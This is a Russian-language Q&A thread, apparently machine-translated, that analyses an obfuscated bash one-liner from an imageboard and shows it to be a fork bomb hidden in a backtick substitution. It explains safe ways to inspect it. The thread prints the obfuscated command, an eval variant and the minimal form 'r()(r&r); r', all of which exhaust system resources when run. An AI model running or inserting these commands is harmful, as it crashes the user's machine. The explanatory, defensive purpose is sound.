128

Найдено на случайной доске чан:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.

... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.

Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:

результат uudecode

Что на самом деле делает этот беспорядок текста, и есть ли способ "безопасно" его просмотреть?

3 ответа3

188

Сначала давайте посмотрим на всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Он содержит строку в двойных кавычках, которая отображается в uudecode . Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Если мы посмотрим, что в нем, мы увидим три команды:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Выполняя раскладку по средней команде, мы имеем:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.

Важна вторая строка: она определяет функцию r которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.

Третья строка запускает r , начиная бомбу вилки.

Остальная часть кода, за пределами строки в кавычках, - просто ерунда для запутывания.

Как выполнить команду безопасно

Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью переменной FUNCNEST bash. Здесь мы устанавливаем его равным 2 и это останавливает рекурсию:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Приведенные выше сообщения об ошибках показывают, что (а) бессмысленные команды rYWdl и Y29j не найдены, (б) форк-бомба неоднократно останавливается с помощью FUNCNEST, и (в) вывод echo не начинается с begin и, следовательно, не действительный ввод для uudecode .

Вилочная бомба в простейшем виде

Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:

echo "`r()(r&r);r`"

Мы можем упростить это еще дальше:

r()(r&r); r

Это состоит из двух утверждений: одно определяет функцию бомба-вилка r а второе запускает r .

Весь остальной код, включая канал к uudecode , был там только для маскировки и неверного направления.

Первоначальная форма имела еще один слой неверного направления

ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Обратите внимание на один из первых комментариев об этом коде:

Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбардировку

В форме на плате каналов можно наивно думать, что проблема будет в выражении eval работающем на выходе uudecode . Это может привести к мысли, что удаление eval решит проблему. Как мы видели выше, это неверно и опасно.

10

Чтобы ответить на вторую часть вашего вопроса:

... есть ли способ "безопасно" просмотреть его?

Чтобы разрядить эту строку, замените внешние двойные кавычки одинарными кавычками и избегайте одинарных кавычек, встречающихся внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо в uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Другие альтернативы отмечены в комментариях:

касперд предложил:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Джейкоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.

5

На первый взгляд вы можете подумать, что вывод в оболочку никогда не будет выполнен. Это все еще правда. Проблема уже во входе. Основной трюк здесь - то, что программисты называют приоритетом оператора. Это порядок, в котором оболочка пытается обработать ваш ввод:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Составьте строку, выполнив все команды backticks внутри нее.
  2. Обычно это неизвестная команда, которая может привести к некоторому выводу, например, если «rYWdl» не является опечаткой, вы можете использовать команду «не найден» для поиска пакета, в котором она содержится… (зависит от системы)
  3. Выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
  4. Определите функцию вилочной бомбы.
  5. Разделитель команд.
  6. Запустите вилочную бомбу.
  7. Вставьте результат 6. в строку. (Мы никогда не приходим сюда.)

Ошибка в том, что думать, что echo будет первой командой, которая будет выполнена, uudecode вторая. Оба из них никогда не будут достигнуты.

Вывод: двойные кавычки всегда опасны на оболочке.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .